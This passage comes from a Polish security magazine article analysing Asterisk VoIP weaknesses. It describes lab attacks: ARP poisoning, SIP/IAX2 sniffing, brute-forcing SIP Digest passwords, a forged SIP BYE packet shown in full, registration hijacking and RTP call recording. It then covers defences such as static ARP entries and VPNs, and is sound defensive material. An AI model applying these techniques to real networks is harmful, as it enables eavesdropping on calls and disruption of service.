PSTN. Jednak główną cechą, która przysparza
Asteriskowi coraz większą rzeszę zwolenników
jest fakt, że pomimo bogatych możliwości tech-
nicznych jest to oprogramowanie darmowe (na
licencji GNU). W ten sposób każdy użytkownik
Luki w VoIP
Tomasz Piotrowski
Szczepan Wójcik
Mikołaj Wiśniewski
Wojciech Mazurczyk
stopień trudności
VoIP (Voice over Internet Protocol), którą określa się również
terminami telefonii IP lub telefonii internetowej (w zależności od
zastosowania), to usługa czasu rzeczywistego, która służy do
prowadzenia rozmów głosowych z wykorzystaniem pakietowych
sieci IP.
Z artykułu dowiesz się
• w jaki sposób zabezpieczać systemy VoIP,
• na co zwracać uwagę przy kupowaniu i wdra-
żaniu systemów VoIP,
• jakie luki bezpieczeństwa znajdują się w syste-
mie Asterisk.
Co powinieneś wiedzieć
• znać zasadę działania telefonii IP,
• podstawy działania protokołu sygnalizacyjnego
VoIP: SIP.
Bezpieczeństwo VoIP – luki w systemie Asterisk
hakin9 Nr 10/2007
www.hakin9.org
27
jest w stanie zweryfikować popraw-
ność implementacji poszczególnych
elementów systemów oraz wprowa-
dzać własne rozszerzenia, dodatko-
we funkcjonalności czy usługi.
Wszystkie opisane powyżej ce-
chy sprawiają, że Asterisk jest coraz
częściej stosowany we wdrożeniach
różnej skali, a grupa odbiorcza takie-
go produktu jest praktycznie nieogra-
niczona. Często znajduje on zastoso-
wanie jako centrala IP-PBX w średniej
wielkości firmach (rozwiązania takie
jak Fonality – http://www.fonality.com)
lub jest używany przez operatorów.
Przykładowo francuski operator Vo-
IP Wengo używa Asterisk do ofero-
wania usługi poczty głosowej. Zazwy-
czaj jednak firmy sięgają po tego ty-
pu systemy telefonii IP, aby zastąpić
konwencjonalne, analogowe centrale
PBX. Dodatkowo korzystać z nich mo-
gą także administratorzy Sieci osie-
dlowych, małe firmy oraz indywidual-
ni użytkownicy.
Równocześnie wraz ze wzrostem
popularności, jakim cieszy się to roz-
wiązanie, rośnie znaczenie sposobu
zabezpieczeń, który w tym systemie
jest realizowany.
Przenoszenie miejsca świadcze-
nia usług telefonicznych z tradycyjnej
sieci telefonicznej PSTN (ang. Public
Switched Telephone Network) do sie-
ci IP, które możemy śledzić od kilku
lat, sprawia, że zagrożenia, kojarzące
się dotychczas z bezpieczeństwem
kabla telefonicznego (aspektu zupeł-
nie fizycznego), zyskują zupełnie inny
wymiar w domenie świata pakietowe-
go. Chcąc podsłuchać rozmowę Vo-
IP, nie musimy podłączać się do linii
abonenckiej. Wystarczy, że będąc w
tej samej sieci LAN uruchomimy od-
powiednie narzędzie (sniffer), a na-
stępnie wykorzystamy je do prze-
chwytywania odpowiedniego pro-
tokołu telefonii IP (zupełnie tak, jak
podsłuchiwało się dotychczas usługi
takie jak FTP, telnet, czy SMTP). Po-
nadto, aby przechwytywać rozmowy
na masową skalę, nie trzeba podłą-
czać się do każdej linii fizycznej, lecz
wystarczy przejąć cały ruch obserwo-
wany w danej sieci lokalnej. Wskaza-
ne zagrożenia telefonii IP powodują,
że kwestie bezpieczeństwa w syste-
mach takich jak Asterisk należy trak-
tować priorytetowo.
W artykule skoncentrowano się
na analizie bezpieczeństwa Asterisk
z punktu widzenia protokołu sygna-
lizacyjnego SIP, będącego najpow-
szechniej wykorzystywanym proto-
kołem sygnalizacyjnym w telefonii
IP, protokołu sygnalizacyjnego IAX2
(rozwiązania producenckiego twór-
ców systemu Asterisk) oraz standar-
du RTP, wykorzystywanym do trans-
misji głosu dla połączeń telefonicz-
nych VoIP. Wspomniane protokoły,
bez zastosowania odpowiednich za-
bezpieczeń, mogą stanowić źródło
zagrożeń, zwiększając podatność
na ataki: podsłuchania, podszywania
się przez osobę atakującą pod pra-
wowitego użytkownika, czy odmo-
wy usługi (Denial of Service). Innym
omówionym aspektem bezpieczeń-
stwa, analizowanym w tym artykule,
jest odporność na ataki maszyny fi-
zycznej, na której instalowany i uru-
chomiany jest Asterisk.
Architektura i rozwój
systemu Asterisk
Historia oprogramowania Aste-
risk sięga 1999 roku. Za jego twór-
cę uważa się Marka Spencera z fir-
my Digium. Od czasu udostępnienia
pierwszej wersji centrali jej kod zo-
stał intensywnie rozbudowany przez
wielu programistów na całym świe-
Rysunek 1.
Asterisk – oprogramowanie centrali telefonicznej IP PBX
serwera VoIP
Rysunek 2.
Topologia z jedną centralą
����
���
������������
����������
�����
������
������
����������
��������
hakin9 Nr 10/2007
www.hakin9.org
Atak
28
cie i temu właśnie zawdzięcza bo-
gactwo oferowanych protokołów i
usług. Asterisk, jak wspomniano,
jest bardzo rozbudowanym i ela-
stycznym w konfiguracji systemem
telefonicznym, nadającym się do
wielu zastosowań telefonii IP. Może
działać pod kontrolą wielu różnych
systemów operacyjnych, tj. MS Win-
dows, Linux, BSD i Mac OS X.
Asterisk wspiera takie funkcjonal-
ności jak: poczta głosowa z książką
telefoniczną, połączenia konferen-
cyjne, system IVR (ang. Interactive
Voice Response), kolejkowanie po-
łączeń, identyfikacja numerów, czy
ADSI (ang. Analog Display Services
Interface). Aby umożliwić pakieto-
we rozmowy telefoniczne, nie wyma-
ga on żadnego dodatkowego sprzętu
fizycznego. Natomiast w celu nawią-
zywania połączenia pomiędzy telefo-
nią cyfrową, a analogową niezbędne
jest wykorzystanie specjalnych kart.
Asterisk współpracuje zarówno ze
sprzętem wyprodukowanym przez
Digium, jak i innymi urządzeniami
firm takich, jak: Sangoma Technolo-
gies, Patton Electronics, Hitachi Ca-
ble, Polycom, SUN Microsystems,
Junghanns.net, czy VoiSmart.
Obecnie wiele firm zajmuje się
dystrybucją oprogramowania Aste-
risk i dedykowanego dla niego sprzę-
tu. Wiodącym europejskim dystrybu-
torem sprzętu i oprogramowania sto-
sowanego przy otwartych projek-
tach głosowych związanych z Aste-
risk jest firma halo2 – Halo Kwadrat,
natomiast w Polsce takie firmy jak
NETCOM czy Virgo Kalisz. Zazwy-
czaj firmy tego typu zapewniają kom-
pleksową obsługę teleinformatyczną
przedsiębiorstw w ramach oferowa-
nego produktu. Warto również wspo-
mnieć, że popularny obecnie polski
system VoIP – Tlenofon, który umoż-
liwia wykonywanie tanich rozmów
przez Internet, również współpracu-
je ze środowiskiem Asterisk.
Bezpieczeństwo w
Asterisk
Analizując bezpieczeństwo środowi-
ska Asterisk, należy rozważyć dwie
podstawowe topologie sieciowe opi-
sane poniżej. Pierwsza z nich skła-
da się z kilku klientów (PC z komu-
nikatorem – tzw. Softphonem – lub
sprzętowymi telefonami IP) bezpo-
średnio połączonymi do wspólnej
centrali oraz intruza – komputera do
podsłuchiwania i modyfikacji przesy-
łanych pakietów protokołu SIP bądź
IAX2 między klientem a centralą
(patrz Rysunek 2). Natomiast druga
topologia składa się z dwóch klien-
tów połączonych do różnych central
Asterisk oraz intruza – komputera
do podsłuchiwania i modyfikacji pa-
kietów protokołu IAX2 na łączu mię-
dzy-centralowym (Rysunek 3.).
W artykule tym skoncentrujemy
się głównie na badaniu protokołu
sygnalizacyjnego SIP, a tym samym
rozważymy aspekty bezpieczeń-
stwa topologii z jedną centralą.
Architekturę systemu oparte-
go na Asterisku uzupełniają urzą-
dzania końcowe: komunikatory lub
sprzętowe telefony IP. Wśród naj-
częściej wykorzystywanych komu-
nikatorów znaleźć można: aplikację
X-Lite wspierającą protokół SIP czy
Idefisk obsługujący zarówno proto-
kół SIP, jak i protokół twórców Aste-
risk – IAX/IAX2 (Rysunek 4 i 5).
Asterisk umożliwia też wykorzysta-
nie fizycznych telefonów IP opar-
tych na protokołach sygnalizacyj-
nych SIP, H.323, MGCP, czy SCCP
(Cisco).
Rodzaje i techniki
ataków na systemy VoIP
Zanim zostanie przedstawiona ana-
liza zabezpieczeń systemu Aste-
risk, niezbędne jest wprowadzenie
odpowiedniej terminologii oraz wy-
jaśnienie technik ataków na telefo-
nię IP, co pozwoli uwypuklić pro-
blem niebezpieczeństw, na jakie
może być narażony nasz system te-
leinformatyczny. Pozwoli nam to od-
powiednio przygotować nasz sys-
tem telefonii IP po to, by zapobie-
gać większości ataków.
Usługi ochrony informacji dla sys-
temów VoIP trzeba rozważać według
Tabela 1.
Przykładowe rodzaje wiadomości protokołu SIP
Rodzaj wiadomości
Znaczenie
INVITE
zaproszenie do udziału w połączeniu
BYE
zakończenie połączenia między dwoma uczest-
nikami połączenia
OPTIONS
przekazuje informacje o funkcjonalności (ang.
capabilities),
nie zestawia połączenia
CANCEL
przerwanie wcześniej wysłanego żądania
ACK
służy do realizacji niezawodnej wymiany wiado-
mości INVITE
REGISTER
przenosi informacje o lokalizacji użytkownika
dla serwera SIP
Tabela 2.
Przykładowe komunikaty protokołu IAX2
Grupa
Komunikat
Znaczenie
Rejestracja
REGREQ
REGAUTH
REGACK
REGREJ
REGREL
Żądanie rejestracji Autoryzacja re-
jestracji Potwierdzenie rejestracji
Odrzucenie rejestracji Zakończe-
nie rejestracji
Zestawianie / Roz-
łączanie połączeń
NEW
REJECT
ACCEPT
HUNGUP
Zestawianie nowego połączenia
Odrzucenie wywołania
Akceptacja wywołania
Zakończenie połączenia
Autoryzacja
AUTHREG
AUTHREP
Żądanie autoryzacji
Odpowiedź na żądanie autoryzacji
Bezpieczeństwo VoIP – luki w systemie Asterisk
hakin9 Nr 10/2007
www.hakin9.org
29
kryteriów, które dadzą nam możliwo-
ści zapewnienia trzech podstawo-
wych usług ochrony informacji – uwie-
rzytelnienia (ang. authentication), inte-
gralności danych (ang. data integrity)
oraz poufności danych (ang. data con-
fidentiality).
Przy dokonywaniu analizy bezpie-
czeństwa należy być również świado-
mym zagrożeń, na jakie może być na-
rażony wdrażany przez nas system.
Akcje podejmowane przez najróż-
niejszych intruzów można podzielić
na ataki aktywne oraz pasywne. Te
pierwsze polegają na celowej inge-
rencji np. w komunikację między stro-
nami połączenia, a drugie zawierają
w sobie takie działania, jak podsłuch
czy przechwytywanie wiadomości.
Do przeprowadzania ataków wyko-
rzystywane są odpowiednie techniki.
Podstawowe techniki ataków na syste-
my VoIP możemy podzielić na trzy ka-
tegorie: Spoofing (podszywanie się),
Sniffing (podsłuchiwanie) oraz Denial
of Service (odmowa usługi).
Poniżej zostanie pokrótce omówio-
na każda z wymienionych technik:
• Spoofing – polega na celowym
podszywaniu się pod danego
użytkownika (np. za pomocą jego
adresu IP), dzięki czemu napast-
nik może mieć możliwość wysyła-
nia sfałszowanych wiadomości,
• Sniffing – opiera się na szcze-
gółowym obserwowaniu i ana-
lizowaniu pakietów wysyłanych
przez sieć,
• Denial of Service – polega na za-
blokowaniu możliwości funkcjo-
nowania danego elementu sieci,
co może mu uniemożliwić świad-
czenie danej usługi (np. poprzez
zalanie danego elementu dużą
ilością wiadomości) prawowitym
użytkownikom.
Wykorzystanie każdej z wyżej przed-
stawionych technik może doprowa-
dzić do różnego rodzaju ataków. Dla
przykładu: za pomocą techniki pod-
szywania możliwe jest odkrywanie
treści wiadomości, a następnie jej
modyfikacja. Dzięki technice podsłu-
chania intruz potrafi w pasywny spo-
sób zaglądać w przesyłane wiadomo-
ści, natomiast atak typu Denial of Se-
rvice stwarza ryzyko sparaliżowania
działania platformy VoIP.
Na wszystkie wymienione zagro-
żenia nasz system VoIP powinien
być przygotowany, by w sposób bez-
pieczny oferować użytkownikom swo-
je usługi. W dalszej części artykułu za-
warte zostały wskazówki, w jaki spo-
sób skutecznie ustrzec się przed ata-
kami potencjalnych intruzów.
Bezpieczeństwo VoIP
opartego na Asterisk
Rozważając potencjalne zagroże-
nia, na jakie może być narażony sys-
tem Asterisk, należy brać pod uwa-
gę bezpieczeństwo całej komunika-
cji, w której pośredniczy, jak również
odporność na ataki maszyny, na któ-
rej system ten się znajduje.
Pierwsza z wymienionych kwe-
stii dotyczy zapewnienia bezpie-
czeństwa protokołów komunikacyj-
nych wykorzystywanych w systemie
Asterisk (przede wszystkim proto-
kołów sygnalizacyjnych: SIP, H.323,
MGCP, SCCP, IAX2 oraz transmisji
głosu: RTP). W tym wypadku klu-
czowe jest to, czy komunikacja jest
Listing 1.
Wygląd przykładowej wiadomości BYE protokołu SIP
BYE
sip
:
3001
@
192.168
.
0.101
:
33924
SIP
/
2.0
Via
:
SIP
/
2.0
/
UDP
192.168
.
0.100
:
5060
;
branch
=
z9hG4bK01f6f4fa
;
rport
From
:
"3000"
<
sip
:
3000
@
192.168
.
0.101
>;
tag
=
as6486104f
To
:
"Tomek"
<
sip
:
3001
@
192.168
.
0.101
>;
tag
=
5
c558618
Call
-
ID
:
43
bdbc1b0bfdfa1d2e18f5770f03e202
.
CSeq
:
102
BYE
User
-
Agent
:
Asterisk
PBX
Max
-
Forwards
:
70
Content
-
Length
:
0
Rysunek 3.
Topologia z dwoma centralami
��������
��������
����������
����������
������
Rysunek 4.
X-Lite wersja 3.0
hakin9 Nr 10/2007
www.hakin9.org
Atak
30
dostępna dla kogoś, kto nie powi-
nien mieć do niej dostępu. Sytuacja
taka będzie mieć miejsce zawsze
wówczas, gdy można przechwyty-
wać pakiety (np. w sieci LAN) oraz
gdy ich zawartość nie jest zabezpie-
czana z wykorzystaniem mechani-
zmów kryptograficznych.
Drugim zagadnieniem jest bez-
pieczeństwo maszyny, na której zo-
stał zainstalowany i działa Asterisk.
Duże znaczenie ma tu wybór syste-
mu operacyjnego oraz jego bezpie-
czeństwo. Istotne jest także m. in.
to, czy uruchamiamy równolegle na
tej samej maszynie inne usługi i czy
umożliwiamy użytkownikom zdalny
dostęp (np. poprzez SSH).
Bezpieczeństwo
sygnalizacji
W przypadku zabezpieczania proto-
kołu sygnalizacyjnego należy zagwa-
rantować bezpieczeństwo wiadomo-
ściom tego protokołu, które są prze-
syłane pomiędzy stronami komuniku-
jącymi się, czyli zapewnić ich integral-
ność, uwierzytelnienie oraz poufność.
Dla analizowanego przez nas
protokołu sygnalizacyjnego SIP, jed-
nym z zaproponowanych w standar-
dzie mechanizmów zabezpieczeń
jest SIPS URI, który oparty jest na
protokole TLS (ang. Transport Lay-
er Security). Niestety, środowisko
Asterisk, które jest w fazie ciągłego
rozwoju, na obecną chwilę nie posia-
da zaimplementowanego tegoż me-
chanizmu. Wyposażone jest nato-
miast w inny mechanizm: SIP Digest
(analogiczny do mechanizmu HTTP
Digest), umożliwiający zapewnienie
uwierzytelnienia i integralności prze-
syłanych danych. Mechanizm ten
jednak nie spełnia do końca swojej
roli, ponieważ jest oparty na złama-
nej funkcji skrótu MD5, a współdzie-
lone hasło możliwe jest do uzyska-
nia metodami słownikowymi bądź si-
łowymi (ang. brute-force).
Przeglądając kierunki rozwoju
firmy Asterisk, znaleźć można plany
wprowadzenia szyfrowania sygnali-
zacji i dźwięku. Należy jednak pod-
kreślić, że w chwili obecnej opcja ta
jest dopiero w fazie testów i wyma-
ga jeszcze pracy nad stabilnością.
Wykorzystanie luk do
przeprowadzenia ataku
Wykonane przez nas próby ataków na
protokół sygnalizacyjny miały na celu
podsłuchiwanie wiadomości protoko-
łu sygnalizacyjnego – ataki pasywne
oraz próby zmiany wiadomości – ata-
ki aktywne. Wykorzystano w tym celu
atak Man-In-The-Middle (MITM) oraz
technikę ARP Poisoning.
ARP Poisoning
Atak ARP Poisoning, którego doko-
nać można np. przy użyciu narzędzia
Ettercap, polega na celowej modyfika-
cji pamięci podręcznej ARP. Kompu-
ter B otrzymując pakiet ARP Request
spodziewa się połączenia z kompute-
ra A, więc żeby nie wysyłać zbędnych
pakietów ARP, zapisuje parę MAC, IP
z pakietu ARP Request w swojej pa-
mięci podręcznej ARP. Taką sytu-
ację można wykorzystać wysyłając
wiele zapytań ARP Request ze swo-
im adresem MAC ale zawierającym
adres IP np. komputera A, modyfiku-
jąc w ten sposób pamięci podręczne
ARP wszystkich komputerów w sieci
i przejmując tym samym komunika-
cję przeznaczoną dla tego komputera.
Jest wiele gotowych narzędzi wyko-
rzystujących ARP Spoofing/ARP Po-
isoning, w tym bardzo rozbudowane
użyte przez nas sniffery, np. Ethereal,
czy Ettercap. Prostym i skutecznym
zabezpieczeniem przed tymi metoda-
mi jest ustawienie statycznych wpisów
pamięci podręcznej ARP dla kompu-
terów w naszej sieci Ethernet.
Atak pasywny – analiza
pakietów
Analizy pakietów można dokonać przy
użyciu oprogramowania Ethereal Ne-
twork Protocol Analyzer (w nowszej
wersji WireShark). Celem tej analizy
jest uzyskanie niezbędnych do prze-
prowadzania ataku informacji o po-
łączeniu, m. in. o adresach agentów
Rysunek 5.
Idefisk wersja 2.01 RC2
Rysunek 6.
Wynik pracy programu Ethereal dla protokołu SIP. Podgląd
wiadomości Request INVITE z wyróżnioną linią zawierającą identyfikator
połączenia Call-ID
Bezpieczeństwo VoIP – luki w systemie Asterisk
hakin9 Nr 10/2007
www.hakin9.org
31
użytkownika SIP (punktów końco-
wych), ich hasłach czy identyfikatorze
połączenia Call-ID. Przykładowe wyni-
ki analizatora dla protokołu SIP przed-
stawia Rysunek 6. Analogiczny atak
pasywny może być przeprowadzo-
ny dla protokołu IAX2 dla łącza mię-
dzy-centralowego (Rysunek 7). Do-
datkowo, w Tabelach 1. i 2. zawartych
jest kilka podstawowych rodzajów wia-
domości dla łatwiejszego zrozumienia
działania protokołów SIP i IAX2.
Jak wspomniano, Asterisk oferu-
je dla protokołu SIP mechanizm uwie-
rzytelnienia SIP Digest wykorzystujący
funkcję skrótu MD5. Podsłuchując wy-
mianę pakietów między agentami użyt-
kowników, możemy dokonać próby
złamania zabezpieczonego hasła. Do
przeprowadzania takiego ataku moż-
na użyć ogólnodostępnego narzędzia
Cain & Abel, które umożliwia łamanie
haseł metodami siłowymi (ang. Bru-
te-Force). Złamanie hasła 4-znakowe-
go zajmowało średnio 3 sekundy, na-
tomiast hasła 6-znakowego średnio 40
minut. Wynik przeprowadzonych prób
zamieszczono na Rysunku 8.
Atak aktywny
Po przeprowadzeniu udanych ataków
pasywnych (zebraniu niezbędnych in-
formacji) można przejść do wykona-
nia ataków aktywnych, polegających
na utworzeniu i wysłaniu odpowiednio
spreparowanego pakietu, który może
mieć na celu na przykład zakończenie
trwającego połączenia. Opisany atak
wymaga utworzenia i wysłania do
centrali Asterisk odpowiednio sprepa-
rowanego pakietu
BYE
protokołu SIP
przedstawionego na Listingu 1.
Pakiet ten powinien zawierać: ad-
res SIP terminala i centrali oraz identy-
fikator trwającego połączenia Call-ID.
Przygotowany pakiet należy umieścić
w polu danych pakietu UDP i przy uży-
ciu narzędzia Nemesis wysłać do sieci
lokalnej (Rysunek 9).
Innego rodzaju ataku aktywne-
go można dokonać za pomocą ogól-
nie dostępnego skanera luk sieci Vo-
IP opartej na protokole SIP – SiVuS.
Składa się on z kilku części, które po-
zwalają przeprowadzić atak oraz we-
ryfikują odporność na błędy i poziom
bezpieczeństwa: komunikatorów SIP,
serwerów sieciowych Proxy i Regi-
strar. Narzędzie to umożliwia podszy-
cie się pod innego użytkownika, jak
również na ukrycie tożsamości oso-
by atakującej. Po podszyciu się pod
innego użytkownika możliwa jest in-
gerencja w jego aktywność siecio-
wą, np. możliwe jest zadzwonienie
do znajomych zaatakowanego użyt-
kownika lub wykorzystanie upraw-
nień przez niego posiadanych.
Opisany powyżej atak bazuje na
luce w procesie rejestracji agentów
użytkownika w serwerze Registrar.
Każdy agent użytkownika jest zobli-
gowany do rejestracji w tym serwe-
rze, ponieważ rejestracja w sieci Vo-
IP jest niezbędna do zlokalizowania
abonenta. Żądanie rejestracji (wia-
domość REGISTER – patrz Tabela 1)
zawiera pole Contact, które zawiera
adres IP urządzenia (niezależnie, czy
to jest telefon IP czy komunikator za-
instalowany na PC). Osoba atakująca
wysyła zmodyfikowaną wiadomość
REGISTER, w której pole Contact za-
wiera adres IP osoby atakującej.
Podsumowując analizę bezpie-
czeństwa systemu Asterisk wyko-
rzystującego protokół sygnalizacyjny
SIP, wyróżnić można typowe ataki:
• porwanie Rejestracji (ang. Regi-
stration Hijacking) – polega na
modyfikacji pola From w wiado-
mości REGISTER (przekierowa-
niu połączenia),
• porwanie Połączenia (ang. Con-
nection Hijacking) – analogicznie
do ataku powyżej, ale modyfikacji
podlega pole From w wiadomości
INVITE,
• man in the Middle – pozwala
atakującemu przechwycić ko-
munikację z/do serwerów sie-
ciowych i w ten sposób wpływać
na kluczowe informacje w wia-
domościach sygnalizacyjnych,
• podszycie się pod serwer (ang.
Impersonating a Server) – klient
Agenta Użytkownika kontaktuje
się z serwerem sieciowym w celu
Rysunek 7.
Wynik pracy programu Ethereal dla protokołu IAX. Podgląd
wiadomości AUTHREP – Odpowiedź na żądanie autoryzacji
Rysunek 8.
Cain & Abel – Rezultat
próby łamania hasła 6-znakowego
hakin9 Nr 10/2007
www.hakin9.org
Atak
32
dostarczenia żądania, natomiast
intruz podszywa się pod serwer,
• celowe zakańczanie trwających
połączeń poprzez wysłanie przez
atakującego wiadomości BYE w
czasie, gdy zachodzi komunikacja
między użytkownikami.
Powyższe przykłady są tylko wycin-
kiem z całej gamy dostępnych ata-
ków. Dlatego też należy wykorzysty-
wać dostępne narzędzia do testowa-
nia bezpieczeństwa zarówno oprogra-
mowania, jak i sprzętu tj. Sivus, Protos
czy SIP Forum Test Framework w ce-
lu przeprowadzania okresowego au-
dytu we własnej sieci telefonii IP.
Zabezpieczenia
Asterisk
Powyżej pokazano, jak bardzo aspek-
ty bezpieczeństwa protokołów sygna-
lizacyjnych zaimplementowanych w
Asterisk nie są jeszcze dopracowane.
Obecnie protokół IAX2 oferuje najbar-
dziej zaawansowane metody uwie-
rzytelniania: z funkcją skrótu MD5 lub
RSA, pod warunkiem, że hasło będzie
na tyle długie, aby czas potrzebny na
jego złamanie był dłuższy od waż-
ności takiego hasła. Natomiast nale-
ży zdawać sobie sprawę, że protokół
IAX2 jest protokołem producenckim,
zatem jako taki nie jest w stanie kon-
kurować z zestandaryzowanymi pro-
tokołami sygnalizacyjnymi SIP, H.323,
czy MGCP np. ilością dostępnych pro-
duktów, czy usług.
Zaprezentowane ataki aktywne
udowodniły, że osoba niepowołana
jest w stanie wpływać na przebieg
sygnalizacji, a tym samym na trwają-
ce, czy zestawiane połączenie. Me-
todą na przeciwdziałanie tego typu
atakom może być zabezpieczanie
danych na poziomie warstwy aplika-
cji bądź sieciowej. Jednakże Asterisk
nie posiada na chwilę obecną wspar-
cia dla protokołu SIPS URI. Rozwią-
zaniem takiej sytuacji, zabezpiecze-
niem chroniącym przed lukami, mo-
że być VPN – wirtualna sieć prywat-
na (ang. Virtual Private Network).
Do utworzenia sieci VPN moż-
na wykorzystać darmowe oprogra-
mowanie np. OpenVPN oraz istnie-
jącą nakładkę graficzną dla systemu
Windows – OpenVPN GUI. Przewa-
gą sieci VPN nad niezabezpieczoną
siecią lokalną jest szyfrowanie da-
nych np. 2048-bitowym kluczem.
Wymienione aplikacje należy za-
instalować na serwerze centrali PBX
i stacjach klientów. Kolejnym kro-
kiem jest zamiana adresów IP do-
tychczas używanych przez centra-
lę i komunikatory na nowe adresy
IP z sieci VPN. Zabieg ten spowodu-
je, że dane takie jak: lokalizacja, na-
zwa użytkownika, identyfikator połą-
czenia, które dotychczas przesyłane
były w sposób tekstowy, staną się
niedostępne dla osób trzecich.
Rozwiązanie to, pomimo wie-
lu przedstawionych powyżej zalet,
ma również wady. Przede wszyst-
kim wprowadza dodatkowe opóźnie-
nia przy zwiększonym zużyciu do-
stępnego pasma, co może być klu-
czowym czynnikiem wpływającym na
jakość przesyłanego głosu. Zwiększa
również zapotrzebowanie na moc obli-
czeniową urządzeń obsługujących, co
w konsekwencji prowadzi do poniesie-
nia ich ceny (ze względu na zwiększo-
ny koszt obsługi). Dodatkowo rozwią-
zania VPN nastręczają czysto prak-
tycznych trudności. Jak wspomnia-
no wcześniej, VPN wymaga instalacji
oprogramowania na stacji klienta, a co
za tym idzie, rodzi się problem z ob-
sługą wszystkich systemów operacyj-
nych. Dodatkowo mogą wystąpić pro-
blemy współdziałania pomiędzy klien-
tami VPN różnych dostawców. Kolej-
nym kłopotem mogą być zapory sie-
ciowe i inne urządzenia pomiędzy
klientem i bramą VPN, które mogą nie-
korzystnie wpływać na możliwość ze-
stawiania połączeń VPN. Wszystko to
powoduje, że – pomimo iż jest to roz-
wiązanie gwarantujące wysoki poziom
bezpieczeństwa – w praktyce raczej
się go w telefonii IP nie wykorzystuje.
Bezpieczeństwo głosu
protokół RTP
Obecnie najczęściej wykorzystywa-
nym protokołem do przenoszenia gło-
su (rozmowy) w telefonii IP jest RTP
(ang. Real-time Transport Protocol).
Jest on obsługiwany przez Asterisk i
większość terminali oraz urządzeń ty-
pu ATA (tzw. bramka VoIP) dostęp-
nych na rynku. Należy odnotować,
Rysunek 9.
Nemesis – Wysyłanie spreparowanego pakietu BYE
Rysunek 10.
Cain & Abel – nagrywanie strumieni RTP
Bezpieczeństwo VoIP – luki w systemie Asterisk
hakin9 Nr 10/2007
www.hakin9.org
33
Używane oprogramowanie oraz wymagania sprzętowe
•
AsteriskWin32 – http://www.asteriskwin32.com/,
Sprzęt: PC lub Serwer:
• OS: Windows 2000/XP/2003,
• Procesor: Pentium 500MHz lub wyższy,
• Pamięć RAM: minimum 128MB,
• Sieć: Szerokopasmowy dostęp do Internetu (dla zewnętrznej linii VoIP) ,
• Środowisko: Cygwin,
•
Sieć: Zewnętrzne Linie (ang. External Lines)
• TAPI based Board or Voice Modem
• ISDN Board compatible CAPI 2.0,
• ISDN Router with Remote CAPI support,
• VOIP Providers (SIP & IAX & H323),
•
Cygwin – http://www.cygwin.com/
• OS: Windows 95/98/ME/NT/2000/XP/2003, WOW64 (32-bitowe środowisko na 64-bitowej wersji Windows),
• X-Lite – http://www.counterpath.com,
• Procesor: minimum Intel Pentium III 700 MHz lub odpowiednik, optymalnie Pentium 4® 2.0 GHz lub odpowiednik,
• Pamięć RAM: 256 MB,
• Dysk twardy: 30 MB,
• OS: Windows 2000/XP, Mac OS X 10.4,
• Sieć: Dostęp do sieci IP (broadband, LAN, wireless),
• Karta dźwiękowa: Full-duplex, 16-bit,
•
Idefisk – http://www.asteriskguru.com/idefisk/
• Procesor: minimum Pentium II 300MHz,
• Pamięć RAM: minimum 256 MB,
• OS: Windows® 2000, XP lub nowszy,
• Karta dźwiękowa: 16-bitowa karta dźwiękowa (SoundBlaster lub odpowiednik),
• Sieć: dostęp przewodowy lub bezprzewodowy do Internetu,
•
Ettercap – http://ettercap.sourceforge.net/
• OS: Linux 2.0.x, Linux 2.2.x, Linux 2.4.x, Linux 2.6.x, FreeBSD 4.x 5.x, OpenBSD 2.[789] 3.x, NetBSD 1.5, Mac OS X (dar
win 6.x 7.x), Windows 2000/XP/2003, Solaris 2.x
• Biblioteki: libpcap 0.8.1l lub nowsza, libnet 1.1.2.1 lub nowsza, libpthread, zlib,
•
Ethereal – http://www.ethereal.comz OS
• UNIX: Apple Mac OS X, BeOS, FreeBSD, HP-UX, IBM AIX, NetBSD,
• OpenBSD, SCO UnixWare/OpenUnix, SGI Irix, Sun Solaris/Intel, Sun,
• Solaris/Sparc, Tru64 UNIX (wcześniej Digital UNIX),
• LINUX: Debian GNU/Linux, Gentoo Linux, IBM S/390 Linux (Red Hat),
• Mandrake Linux, PLD Linux, Red Hat Linux, Rock Linux, Slackware Linux, Suse Linux,
• Microsoft Windows: Windows Server 2003/XP/2000/NT 4.0, Windows Me/98,
•
Cain & Abel – http://www.oxid.it/cain.html
• OS: Windows 9x/NT/2000/XP,
•
OpenVPN – http://openvpn.net/
• OS: Linux, Windows 2000/XP lub wyższy, OpenBSD, FreeBSD, NetBSD, Mac
• OS X oraz Solaris
•
OpenVPN GUI for Windows – http://openvpn.se/
• OpenVPN GUI został napisany w języku C Win32, dlatego nie wymaga żadnych bibliotek do pracy,
• SiVuS – http://www.vopsecurity.org/index.php,
hakin9 Nr 10/2007
www.hakin9.org
Atak
34
że protokół RTP, jako taki, nie zapew-
nia jednak bezpieczeństwa transmi-
sji, a tym samym pociąga za sobą ry-
zyko np. podsłuchania rozmowy. Nie
zapewnia on także integralności, co
z kolei powoduje podatność na ata-
ki typu Man-In-The-Middle, które mo-
gą polegać na modyfikacji transmito-
wanych pakietów. Istnieje rozwiązanie
tychże problemów w postaci protoko-
łu SRTP (Secure Real-time Transport
Protocol), jednakże nie jest ono obec-
nie obsługiwane – ani przez stabilną
wersję Asterisk (istnieje branch Aste-
risk SRTP), ani też przez większość
wykorzystywanych terminali (a nawet
jeśli, to są one dużo droższe). Tym sa-
mym typowa konfiguracja z użyciem
niezabezpieczonego protokołu RTP
powoduje szereg zagrożeń związa-
nych z brakiem zastosowania jakich-
kolwiek usług kryptograficznych.
Przykład ataku
Dokonany przez nas atak na proto-
kół RTP (sniffing) był jednym z prost-
szych do wykonania. Użyte narzę-
dzie to Cain & Abel v4.9.2. Aplikacja
umożliwia przechwycenie i nagranie
strumienia RTP (a właściwie dwóch
strumieni) nawet osobom nieposia-
dającym bardzo szczegółowej wie-
dzy o protokołach VoIP. Wykonanie
podsłuchu polega na włączeniu mo-
nitoringu wraz z atakiem ARP Poiso-
ning, zaś program sam rozpoznaje
protokół i rozpoczyna nagrywanie do
plików WAV (Rysunek 10).
Stan obecny w Asterisk
Uwzględniając powszechne zalece-
nie, aby separować ruch głosowy od
ruchu danych (rekomendowane m. in.
przez Instytut BSI – Bundesamt für Si-
cherheit in der Informationstechnik)
należałoby użyć sieci VPN do połą-
czeń głosowych. Aby dwoje klientów
mogło się skutecznie skomunikować,
muszą znajdować się w tej samej sie-
ci prywatnej. Jeśli dostępne z niej ma-
ją być także usługi typu IVR lub pocz-
ta głosowa oferowana przez serwer
Asterisk, to także on powinien się w
takiej sieci prywatnej znaleźć. Nieste-
ty, wykorzystanie sieci VPN nie roz-
wiązuje problemu wzajemnego pod-
słuchiwania się przez użytkowników,
gdy np. użytkownicy A, B i C należą do
jednej sieci, zaś w chwili, gdy A i B roz-
mawiają, C wykorzystuje swój dostęp
